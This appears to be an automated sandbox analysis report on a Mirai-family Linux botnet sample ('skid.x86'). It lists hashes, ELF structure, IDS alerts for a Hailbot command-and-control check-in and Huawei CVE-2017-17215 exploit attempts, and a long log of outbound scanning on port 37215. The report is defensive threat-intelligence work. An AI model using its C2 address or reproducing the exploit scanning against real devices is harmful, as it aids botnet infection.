	4WTGKXVzGo.elf	Get hash	malicious	Unknown	Browse	193.250.205.218
	ghKTkhYxCQ.elf	Get hash	malicious	Mirai	Browse	109.218.237.209
	d6REj8J3y9.elf	Get hash	malicious	Mirai	Browse	92.150.70.249
	vfkWVAvwE0.elf	Get hash	malicious	Mirai	Browse	90.39.197.164
	1d5ylg4FZx.elf	Get hash	malicious	Mirai	Browse	90.93.204.187
	9ignT0wSe0.elf	Get hash	malicious	Mirai	Browse	92.143.168.198
	djrG3Mr4I5.elf	Get hash	malicious	Mirai, Moobot	Browse	141.194.211.168
	XvmtEqjQge.elf	Get hash	malicious	Mirai	Browse	86.196.115.143
	huhu.mips.elf	Get hash	malicious	Mirai	Browse	82.127.97.70
	huhu.arm.elf	Get hash	malicious	Mirai	Browse	90.33.42.234

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.545523339693952
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	skid.x86
File size:	66'836 bytes
MD5:	408ce10a59af6209b3b26c9418e991d3
SHA1:	558457ed45060e37bec62b492b7441bdfbb82257
SHA256:	5436825f522307f3cd2202e563df48a64b4ae0291bb03afc10d520eac55ee6a2
SHA512:	cbe359704344fc59ee888bff7ee2394a8d131890d30945d38d5c169645d614ab62ee58f892f453c0d03e6c95ea087e78ca9f1657f27971757cef2b67a6de3a1e
SSDEEP:	1536:KirEnexISlNXTfrZrOa5Rw8gycFEQFS5kS28aq:KiAnWIKNXxJ5K8/SEKxzq
TLSH:	FE6359C9EA83D8F1EC1B0A751037A3378732FA390029EB57D7659A72EC53A41E51B25C
File Content Preview:	.ELF....................d...4...........4. ...(.....................`...`...............d...d...d.......<W..........Q.td............................U..S............h....3...[]...$.............U......=`....t..5...................u........t....h`...........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66436
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xdc56	0x0	0x6	AX	16
.fini	PROGBITS	0x8055d06	0xdd06	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8055d20	0xdd20	0x2340	0x0	0x2	A	32
.ctors	PROGBITS	0x8059064	0x10064	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805906c	0x1006c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80590a0	0x100a0	0x2a4	0x0	0x3	WA	32
.bss	NOBITS	0x8059360	0x10344	0x5440	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x10344	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x10060	0x10060	6.5812	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x10064	0x8059064	0x8059064	0x2e0	0x573c	3.3693	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2045.90.13.645585015582050066 01/22/24-03:59:20.672833	TCP	2050066	ET TROJAN Hailbot CnC Checkin	55850	1558	192.168.2.20	45.90.13.64
192.168.2.20156.247.29.841830372152829579 01/22/24-04:00:06.810197	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41830	37215	192.168.2.20	156.247.29.8
192.168.2.20154.194.173.19348506372152835222 01/22/24-04:00:09.555788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48506	37215	192.168.2.20	154.194.173.193
192.168.2.20156.254.78.25451026372152835222 01/22/24-03:59:35.542498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51026	37215	192.168.2.20	156.254.78.254
192.168.2.2041.44.208.16558538372152835222 01/22/24-03:59:53.723137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58538	37215	192.168.2.20	41.44.208.165
192.168.2.2041.232.250.6149266372152835222 01/22/24-03:59:34.955340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49266	37215	192.168.2.20	41.232.250.61
192.168.2.20156.224.10.15033968372152829579 01/22/24-03:59:25.850191	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33968	37215	192.168.2.20	156.224.10.150
192.168.2.2041.44.208.16558538372152829579 01/22/24-03:59:53.723137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58538	37215	192.168.2.20	41.44.208.165
192.168.2.2092.94.107.19734828372152829579 01/22/24-03:59:33.456405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34828	37215	192.168.2.20	92.94.107.197
192.168.2.20156.93.225.16346208372152829579 01/22/24-03:59:49.271918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46208	37215	192.168.2.20	156.93.225.163
192.168.2.20156.247.25.23145096372152835222 01/22/24-04:00:02.854087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45096	37215	192.168.2.20	156.247.25.231
192.168.2.20156.247.23.7560974372152829579 01/22/24-04:00:19.760686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60974	37215	192.168.2.20	156.247.23.75
192.168.2.2037.72.214.2245318372152829579 01/22/24-03:59:46.936020	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45318	37215	192.168.2.20	37.72.214.22
192.168.2.2094.121.178.20459992372152835222 01/22/24-03:59:43.891616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59992	37215	192.168.2.20	94.121.178.204
192.168.2.2045.42.90.22941242372152835222 01/22/24-03:59:33.443174	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41242	37215	192.168.2.20	45.42.90.229
192.168.2.2092.94.107.19734828372152835222 01/22/24-03:59:33.456405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34828	37215	192.168.2.20	92.94.107.197
192.168.2.20156.247.27.10350748372152829579 01/22/24-04:00:16.403215	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50748	37215	192.168.2.20	156.247.27.103
192.168.2.20107.151.219.16937948372152829579 01/22/24-03:59:21.479994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37948	37215	192.168.2.20	107.151.219.169
192.168.2.20156.247.29.841830372152835222 01/22/24-04:00:06.810197	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41830	37215	192.168.2.20	156.247.29.8
192.168.2.20154.206.168.4034352372152835222 01/22/24-04:00:15.721514	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34352	37215	192.168.2.20	154.206.168.40
192.168.2.20156.224.10.15033968372152835222 01/22/24-03:59:25.850191	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33968	37215	192.168.2.20	156.224.10.150
192.168.2.20197.246.47.242072372152835222 01/22/24-03:59:46.451428	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42072	37215	192.168.2.20	197.246.47.2
192.168.2.20197.234.61.8836376372152829579 01/22/24-04:00:02.748357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36376	37215	192.168.2.20	197.234.61.88
192.168.2.20197.234.43.11541376372152829579 01/22/24-04:00:09.337520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41376	37215	192.168.2.20	197.234.43.115
192.168.2.20154.206.168.4034352372152829579 01/22/24-04:00:15.721514	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34352	37215	192.168.2.20	154.206.168.40
192.168.2.20156.247.28.22750168372152829579 01/22/24-04:00:06.512968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50168	37215	192.168.2.20	156.247.28.227
192.168.2.20156.247.22.21743878372152835222 01/22/24-04:00:15.264985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43878	37215	192.168.2.20	156.247.22.217
192.168.2.20197.246.47.242072372152829579 01/22/24-03:59:46.451428	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42072	37215	192.168.2.20	197.246.47.2
192.168.2.20154.194.143.25054652372152829579 01/22/24-03:59:58.468908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54652	37215	192.168.2.20	154.194.143.250
192.168.2.20156.247.25.23145096372152829579 01/22/24-04:00:02.854087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45096	37215	192.168.2.20	156.247.25.231
192.168.2.20197.234.43.11541376372152835222 01/22/24-04:00:09.337520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41376	37215	192.168.2.20	197.234.43.115
192.168.2.20107.151.219.16937948372152835222 01/22/24-03:59:21.479994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37948	37215	192.168.2.20	107.151.219.169
192.168.2.20107.190.230.3553046372152829579 01/22/24-03:59:46.332126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53046	37215	192.168.2.20	107.190.230.35
192.168.2.20156.241.13.6554372372152829579 01/22/24-04:00:16.403500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54372	37215	192.168.2.20	156.241.13.65
192.168.2.20107.190.230.3553046372152835222 01/22/24-03:59:46.332126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53046	37215	192.168.2.20	107.190.230.35
192.168.2.2041.232.250.6149266372152829579 01/22/24-03:59:34.955340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49266	37215	192.168.2.20	41.232.250.61
192.168.2.20156.254.78.25451026372152829579 01/22/24-03:59:35.542498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51026	37215	192.168.2.20	156.254.78.254
192.168.2.20156.241.13.6554372372152835222 01/22/24-04:00:16.403500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54372	37215	192.168.2.20	156.241.13.65
192.168.2.20156.247.28.22750168372152835222 01/22/24-04:00:06.512968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50168	37215	192.168.2.20	156.247.28.227
192.168.2.2094.121.178.20459992372152829579 01/22/24-03:59:43.891616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59992	37215	192.168.2.20	94.121.178.204
192.168.2.20154.194.173.19348506372152829579 01/22/24-04:00:09.555788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48506	37215	192.168.2.20	154.194.173.193
192.168.2.2045.42.90.22941242372152829579 01/22/24-03:59:33.443174	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41242	37215	192.168.2.20	45.42.90.229
192.168.2.20197.234.61.8836376372152835222 01/22/24-04:00:02.748357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36376	37215	192.168.2.20	197.234.61.88
192.168.2.20156.247.23.7560974372152835222 01/22/24-04:00:19.760686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60974	37215	192.168.2.20	156.247.23.75
192.168.2.20156.247.22.21743878372152829579 01/22/24-04:00:15.264985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43878	37215	192.168.2.20	156.247.22.217
192.168.2.2037.72.214.2245318372152835222 01/22/24-03:59:46.936020	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45318	37215	192.168.2.20	37.72.214.22
192.168.2.20154.194.143.25054652372152835222 01/22/24-03:59:58.468908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54652	37215	192.168.2.20	154.194.143.250
192.168.2.20156.93.225.16346208372152835222 01/22/24-03:59:49.271918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46208	37215	192.168.2.20	156.93.225.163
192.168.2.20156.247.27.10350748372152835222 01/22/24-04:00:16.403215	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50748	37215	192.168.2.20	156.247.27.103

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2024 03:59:20.269438982 CET	58015	37215	192.168.2.20	186.109.143.59
Jan 22, 2024 03:59:20.269481897 CET	58015	37215	192.168.2.20	94.34.38.179
Jan 22, 2024 03:59:20.269534111 CET	58015	37215	192.168.2.20	41.79.180.180
Jan 22, 2024 03:59:20.269534111 CET	58015	37215	192.168.2.20	41.181.121.88
Jan 22, 2024 03:59:20.269550085 CET	58015	37215	192.168.2.20	121.96.196.63
Jan 22, 2024 03:59:20.269573927 CET	58015	37215	192.168.2.20	222.130.137.198
Jan 22, 2024 03:59:20.269634008 CET	58015	37215	192.168.2.20	197.65.152.81
Jan 22, 2024 03:59:20.269656897 CET	58015	37215	192.168.2.20	94.107.109.233
Jan 22, 2024 03:59:20.269656897 CET	58015	37215	192.168.2.20	156.0.253.89
Jan 22, 2024 03:59:20.269656897 CET	58015	37215	192.168.2.20	92.65.3.156
Jan 22, 2024 03:59:20.269692898 CET	58015	37215	192.168.2.20	41.124.138.157
Jan 22, 2024 03:59:20.269752026 CET	58015	37215	192.168.2.20	41.32.111.211
Jan 22, 2024 03:59:20.269804001 CET	58015	37215	192.168.2.20	41.79.4.171
Jan 22, 2024 03:59:20.269860983 CET	58015	37215	192.168.2.20	156.111.83.23
Jan 22, 2024 03:59:20.272521973 CET	58015	37215	192.168.2.20	156.26.65.149
Jan 22, 2024 03:59:20.272551060 CET	58015	37215	192.168.2.20	41.172.25.165
Jan 22, 2024 03:59:20.272586107 CET	58015	37215	192.168.2.20	156.192.133.17
Jan 22, 2024 03:59:20.272610903 CET	58015	37215	192.168.2.20	41.35.222.14
Jan 22, 2024 03:59:20.272645950 CET	58015	37215	192.168.2.20	41.140.174.96
Jan 22, 2024 03:59:20.272684097 CET	58015	37215	192.168.2.20	41.55.171.158
Jan 22, 2024 03:59:20.272706032 CET	58015	37215	192.168.2.20	102.98.126.214
Jan 22, 2024 03:59:20.272763014 CET	58015	37215	192.168.2.20	160.14.79.123
Jan 22, 2024 03:59:20.272792101 CET	58015	37215	192.168.2.20	197.38.94.147
Jan 22, 2024 03:59:20.272790909 CET	58015	37215	192.168.2.20	156.161.160.207
Jan 22, 2024 03:59:20.272795916 CET	58015	37215	192.168.2.20	197.21.102.112
Jan 22, 2024 03:59:20.272855043 CET	58015	37215	192.168.2.20	92.126.106.215
Jan 22, 2024 03:59:20.272867918 CET	58015	37215	192.168.2.20	156.84.225.52
Jan 22, 2024 03:59:20.272881031 CET	58015	37215	192.168.2.20	160.189.167.180
Jan 22, 2024 03:59:20.272978067 CET	58015	37215	192.168.2.20	156.190.233.219
Jan 22, 2024 03:59:20.273006916 CET	58015	37215	192.168.2.20	41.130.141.155
Jan 22, 2024 03:59:20.273045063 CET	58015	37215	192.168.2.20	41.175.190.75
Jan 22, 2024 03:59:20.273056984 CET	58015	37215	192.168.2.20	197.213.149.200
Jan 22, 2024 03:59:20.273093939 CET	58015	37215	192.168.2.20	156.186.211.200
Jan 22, 2024 03:59:20.273094893 CET	58015	37215	192.168.2.20	156.21.69.0
Jan 22, 2024 03:59:20.273123026 CET	58015	37215	192.168.2.20	121.96.120.146
Jan 22, 2024 03:59:20.273148060 CET	58015	37215	192.168.2.20	196.194.129.84
Jan 22, 2024 03:59:20.273190975 CET	58015	37215	192.168.2.20	41.16.236.98
Jan 22, 2024 03:59:20.273227930 CET	58015	37215	192.168.2.20	197.171.108.99
Jan 22, 2024 03:59:20.273236990 CET	58015	37215	192.168.2.20	156.59.40.35
Jan 22, 2024 03:59:20.273237944 CET	58015	37215	192.168.2.20	197.152.145.237
Jan 22, 2024 03:59:20.273288965 CET	58015	37215	192.168.2.20	41.26.185.211
Jan 22, 2024 03:59:20.273298025 CET	58015	37215	192.168.2.20	197.180.246.92
Jan 22, 2024 03:59:20.273319960 CET	58015	37215	192.168.2.20	41.42.89.197
Jan 22, 2024 03:59:20.273351908 CET	58015	37215	192.168.2.20	197.132.144.88
Jan 22, 2024 03:59:20.273380995 CET	58015	37215	192.168.2.20	197.173.192.88
Jan 22, 2024 03:59:20.273421049 CET	58015	37215	192.168.2.20	197.230.195.83
Jan 22, 2024 03:59:20.273438931 CET	58015	37215	192.168.2.20	120.7.68.221
Jan 22, 2024 03:59:20.273474932 CET	58015	37215	192.168.2.20	45.170.255.123
Jan 22, 2024 03:59:20.273507118 CET	58015	37215	192.168.2.20	156.79.165.17
Jan 22, 2024 03:59:20.273535013 CET	58015	37215	192.168.2.20	156.75.242.82
Jan 22, 2024 03:59:20.273564100 CET	58015	37215	192.168.2.20	156.33.183.82
Jan 22, 2024 03:59:20.273591995 CET	58015	37215	192.168.2.20	41.174.181.204
Jan 22, 2024 03:59:20.273637056 CET	58015	37215	192.168.2.20	156.253.72.240
Jan 22, 2024 03:59:20.273648024 CET	58015	37215	192.168.2.20	197.32.30.77
Jan 22, 2024 03:59:20.273669958 CET	58015	37215	192.168.2.20	186.5.96.169
Jan 22, 2024 03:59:20.273713112 CET	58015	37215	192.168.2.20	120.4.45.192
Jan 22, 2024 03:59:20.273736954 CET	58015	37215	192.168.2.20	197.85.240.86
Jan 22, 2024 03:59:20.273758888 CET	58015	37215	192.168.2.20	121.237.7.79
Jan 22, 2024 03:59:20.273797989 CET	58015	37215	192.168.2.20	181.238.184.145
Jan 22, 2024 03:59:20.273814917 CET	58015	37215	192.168.2.20	156.110.202.117
Jan 22, 2024 03:59:20.273854017 CET	58015	37215	192.168.2.20	41.10.6.146
Jan 22, 2024 03:59:20.273879051 CET	58015	37215	192.168.2.20	197.242.244.122
Jan 22, 2024 03:59:20.273916960 CET	58015	37215	192.168.2.20	41.161.223.179
Jan 22, 2024 03:59:20.273937941 CET	58015	37215	192.168.2.20	197.17.106.32
Jan 22, 2024 03:59:20.273973942 CET	58015	37215	192.168.2.20	41.52.240.5
Jan 22, 2024 03:59:20.274003029 CET	58015	37215	192.168.2.20	157.116.166.84
Jan 22, 2024 03:59:20.274019957 CET	58015	37215	192.168.2.20	122.73.39.134
Jan 22, 2024 03:59:20.274060965 CET	58015	37215	192.168.2.20	107.151.219.169
Jan 22, 2024 03:59:20.274085999 CET	58015	37215	192.168.2.20	181.210.199.186
Jan 22, 2024 03:59:20.274111986 CET	58015	37215	192.168.2.20	156.81.217.132
Jan 22, 2024 03:59:20.274147987 CET	58015	37215	192.168.2.20	197.27.75.100
Jan 22, 2024 03:59:20.274177074 CET	58015	37215	192.168.2.20	197.15.134.159
Jan 22, 2024 03:59:20.274199963 CET	58015	37215	192.168.2.20	41.129.112.15
Jan 22, 2024 03:59:20.274233103 CET	58015	37215	192.168.2.20	41.174.210.37
Jan 22, 2024 03:59:20.274256945 CET	58015	37215	192.168.2.20	122.179.183.191
Jan 22, 2024 03:59:20.274295092 CET	58015	37215	192.168.2.20	37.101.18.28
Jan 22, 2024 03:59:20.274316072 CET	58015	37215	192.168.2.20	156.29.163.171
Jan 22, 2024 03:59:20.274347067 CET	58015	37215	192.168.2.20	197.160.243.104
Jan 22, 2024 03:59:20.274374008 CET	58015	37215	192.168.2.20	197.109.239.62
Jan 22, 2024 03:59:20.274408102 CET	58015	37215	192.168.2.20	41.121.79.161
Jan 22, 2024 03:59:20.274431944 CET	58015	37215	192.168.2.20	196.63.125.179
Jan 22, 2024 03:59:20.274470091 CET	58015	37215	192.168.2.20	156.187.179.138
Jan 22, 2024 03:59:20.274497032 CET	58015	37215	192.168.2.20	41.130.175.132
Jan 22, 2024 03:59:20.274525881 CET	58015	37215	192.168.2.20	41.5.31.143
Jan 22, 2024 03:59:20.274554968 CET	58015	37215	192.168.2.20	156.136.13.111
Jan 22, 2024 03:59:20.274578094 CET	58015	37215	192.168.2.20	41.122.252.179
Jan 22, 2024 03:59:20.274610996 CET	58015	37215	192.168.2.20	121.243.44.207
Jan 22, 2024 03:59:20.274640083 CET	58015	37215	192.168.2.20	138.212.112.74
Jan 22, 2024 03:59:20.274665117 CET	58015	37215	192.168.2.20	196.233.5.115
Jan 22, 2024 03:59:20.274702072 CET	58015	37215	192.168.2.20	156.39.244.118
Jan 22, 2024 03:59:20.274730921 CET	58015	37215	192.168.2.20	197.126.65.183
Jan 22, 2024 03:59:20.274755001 CET	58015	37215	192.168.2.20	197.133.191.227
Jan 22, 2024 03:59:20.274792910 CET	58015	37215	192.168.2.20	156.30.37.113
Jan 22, 2024 03:59:20.274811029 CET	58015	37215	192.168.2.20	197.222.60.14
Jan 22, 2024 03:59:20.274842024 CET	58015	37215	192.168.2.20	138.202.81.217
Jan 22, 2024 03:59:20.274878025 CET	58015	37215	192.168.2.20	197.178.230.19
Jan 22, 2024 03:59:20.274893999 CET	58015	37215	192.168.2.20	197.248.191.11
Jan 22, 2024 03:59:20.274924994 CET	58015	37215	192.168.2.20	160.124.57.171
Jan 22, 2024 03:59:20.274955034 CET	58015	37215	192.168.2.20	41.183.127.233
Jan 22, 2024 03:59:20.275012970 CET	58015	37215	192.168.2.20	197.13.139.234
Jan 22, 2024 03:59:20.275027037 CET	58015	37215	192.168.2.20	197.79.49.184
Jan 22, 2024 03:59:20.275044918 CET	58015	37215	192.168.2.20	41.96.66.40
Jan 22, 2024 03:59:20.275080919 CET	58015	37215	192.168.2.20	156.72.2.182
Jan 22, 2024 03:59:20.275108099 CET	58015	37215	192.168.2.20	197.218.6.30
Jan 22, 2024 03:59:20.275132895 CET	58015	37215	192.168.2.20	197.81.130.219
Jan 22, 2024 03:59:20.275161028 CET	58015	37215	192.168.2.20	41.157.59.129
Jan 22, 2024 03:59:20.275197983 CET	58015	37215	192.168.2.20	197.219.105.184
Jan 22, 2024 03:59:20.275221109 CET	58015	37215	192.168.2.20	41.88.209.66
Jan 22, 2024 03:59:20.275253057 CET	58015	37215	192.168.2.20	156.84.26.12
Jan 22, 2024 03:59:20.275286913 CET	58015	37215	192.168.2.20	156.117.186.72
Jan 22, 2024 03:59:20.275307894 CET	58015	37215	192.168.2.20	197.134.245.192
Jan 22, 2024 03:59:20.275342941 CET	58015	37215	192.168.2.20	37.219.27.132
Jan 22, 2024 03:59:20.275362015 CET	58015	37215	192.168.2.20	122.237.244.174
Jan 22, 2024 03:59:20.275402069 CET	58015	37215	192.168.2.20	122.127.161.175
Jan 22, 2024 03:59:20.275429010 CET	58015	37215	192.168.2.20	196.121.236.59
Jan 22, 2024 03:59:20.275454044 CET	58015	37215	192.168.2.20	156.110.145.123
Jan 22, 2024 03:59:20.275489092 CET	58015	37215	192.168.2.20	156.122.191.251
Jan 22, 2024 03:59:20.275507927 CET	58015	37215	192.168.2.20	94.163.50.202
Jan 22, 2024 03:59:20.275542021 CET	58015	37215	192.168.2.20	197.149.93.100
Jan 22, 2024 03:59:20.275578976 CET	58015	37215	192.168.2.20	154.167.37.99
Jan 22, 2024 03:59:20.275607109 CET	58015	37215	192.168.2.20	156.36.102.240
Jan 22, 2024 03:59:20.275629044 CET	58015	37215	192.168.2.20	121.95.243.42
Jan 22, 2024 03:59:20.275665998 CET	58015	37215	192.168.2.20	197.171.89.40
Jan 22, 2024 03:59:20.275690079 CET	58015	37215	192.168.2.20	197.251.240.136
Jan 22, 2024 03:59:20.275724888 CET	58015	37215	192.168.2.20	156.82.59.124
Jan 22, 2024 03:59:20.275753021 CET	58015	37215	192.168.2.20	41.192.188.60
Jan 22, 2024 03:59:20.275774956 CET	58015	37215	192.168.2.20	197.140.166.228
Jan 22, 2024 03:59:20.275799990 CET	58015	37215	192.168.2.20	121.100.223.66
Jan 22, 2024 03:59:20.275839090 CET	58015	37215	192.168.2.20	156.246.183.238
Jan 22, 2024 03:59:20.275866985 CET	58015	37215	192.168.2.20	41.125.183.224
Jan 22, 2024 03:59:20.275887012 CET	58015	37215	192.168.2.20	122.194.139.94
Jan 22, 2024 03:59:20.275914907 CET	58015	37215	192.168.2.20	41.43.133.129
Jan 22, 2024 03:59:20.275954962 CET	58015	37215	192.168.2.20	157.192.104.233
Jan 22, 2024 03:59:20.275984049 CET	58015	37215	192.168.2.20	197.15.142.217
Jan 22, 2024 03:59:20.276019096 CET	58015	37215	192.168.2.20	157.98.120.155
Jan 22, 2024 03:59:20.276032925 CET	58015	37215	192.168.2.20	41.92.95.157
Jan 22, 2024 03:59:20.276072025 CET	58015	37215	192.168.2.20	197.40.95.26
Jan 22, 2024 03:59:20.276101112 CET	58015	37215	192.168.2.20	121.250.51.176
Jan 22, 2024 03:59:20.276118994 CET	58015	37215	192.168.2.20	156.56.29.23
Jan 22, 2024 03:59:20.276158094 CET	58015	37215	192.168.2.20	197.88.13.66
Jan 22, 2024 03:59:20.276201010 CET	58015	37215	192.168.2.20	197.17.99.136
Jan 22, 2024 03:59:20.276216984 CET	58015	37215	192.168.2.20	156.250.30.14
Jan 22, 2024 03:59:20.276240110 CET	58015	37215	192.168.2.20	156.231.70.101
Jan 22, 2024 03:59:20.276278019 CET	58015	37215	192.168.2.20	190.225.191.33
Jan 22, 2024 03:59:20.276304007 CET	58015	37215	192.168.2.20	197.14.140.83
Jan 22, 2024 03:59:20.276333094 CET	58015	37215	192.168.2.20	95.14.191.92
Jan 22, 2024 03:59:20.276360989 CET	58015	37215	192.168.2.20	45.3.31.71
Jan 22, 2024 03:59:20.276392937 CET	58015	37215	192.168.2.20	37.53.61.132
Jan 22, 2024 03:59:20.281128883 CET	58015	37215	192.168.2.20	190.147.199.135
Jan 22, 2024 03:59:20.281191111 CET	58015	37215	192.168.2.20	197.47.254.148
Jan 22, 2024 03:59:20.281250000 CET	58015	37215	192.168.2.20	156.7.239.110
Jan 22, 2024 03:59:20.281306982 CET	58015	37215	192.168.2.20	197.56.126.41
Jan 22, 2024 03:59:20.281306982 CET	58015	37215	192.168.2.20	154.145.143.247
Jan 22, 2024 03:59:20.281369925 CET	58015	37215	192.168.2.20	156.47.156.48
Jan 22, 2024 03:59:20.281393051 CET	58015	37215	192.168.2.20	197.68.233.99
Jan 22, 2024 03:59:20.281399012 CET	58015	37215	192.168.2.20	41.81.126.123
Jan 22, 2024 03:59:20.281393051 CET	58015	37215	192.168.2.20	156.114.84.126
Jan 22, 2024 03:59:20.281430006 CET	58015	37215	192.168.2.20	92.96.244.66
Jan 22, 2024 03:59:20.281475067 CET	58015	37215	192.168.2.20	92.69.123.120
Jan 22, 2024 03:59:20.281472921 CET	58015	37215	192.168.2.20	94.24.146.22
Jan 22, 2024 03:59:20.281491041 CET	58015	37215	192.168.2.20	45.180.33.234
Jan 22, 2024 03:59:20.281528950 CET	58015	37215	192.168.2.20	196.209.135.228
Jan 22, 2024 03:59:20.281558990 CET	58015	37215	192.168.2.20	186.72.92.89
Jan 22, 2024 03:59:20.281614065 CET	58015	37215	192.168.2.20	41.122.101.163
Jan 22, 2024 03:59:20.281642914 CET	58015	37215	192.168.2.20	156.11.138.215
Jan 22, 2024 03:59:20.281676054 CET	58015	37215	192.168.2.20	197.229.66.248
Jan 22, 2024 03:59:20.281699896 CET	58015	37215	192.168.2.20	41.179.78.253
Jan 22, 2024 03:59:20.281748056 CET	58015	37215	192.168.2.20	160.57.157.65
Jan 22, 2024 03:59:20.281748056 CET	58015	37215	192.168.2.20	156.214.168.37
Jan 22, 2024 03:59:20.281758070 CET	58015	37215	192.168.2.20	156.93.20.59
Jan 22, 2024 03:59:20.281799078 CET	58015	37215	192.168.2.20	156.0.153.151
Jan 22, 2024 03:59:20.281819105 CET	58015	37215	192.168.2.20	156.53.193.86
Jan 22, 2024 03:59:20.281852007 CET	58015	37215	192.168.2.20	197.174.81.94
Jan 22, 2024 03:59:20.281882048 CET	58015	37215	192.168.2.20	41.113.221.122
Jan 22, 2024 03:59:20.281936884 CET	58015	37215	192.168.2.20	197.148.11.220
Jan 22, 2024 03:59:20.281965017 CET	58015	37215	192.168.2.20	197.135.109.215
Jan 22, 2024 03:59:20.281972885 CET	58015	37215	192.168.2.20	41.57.161.135
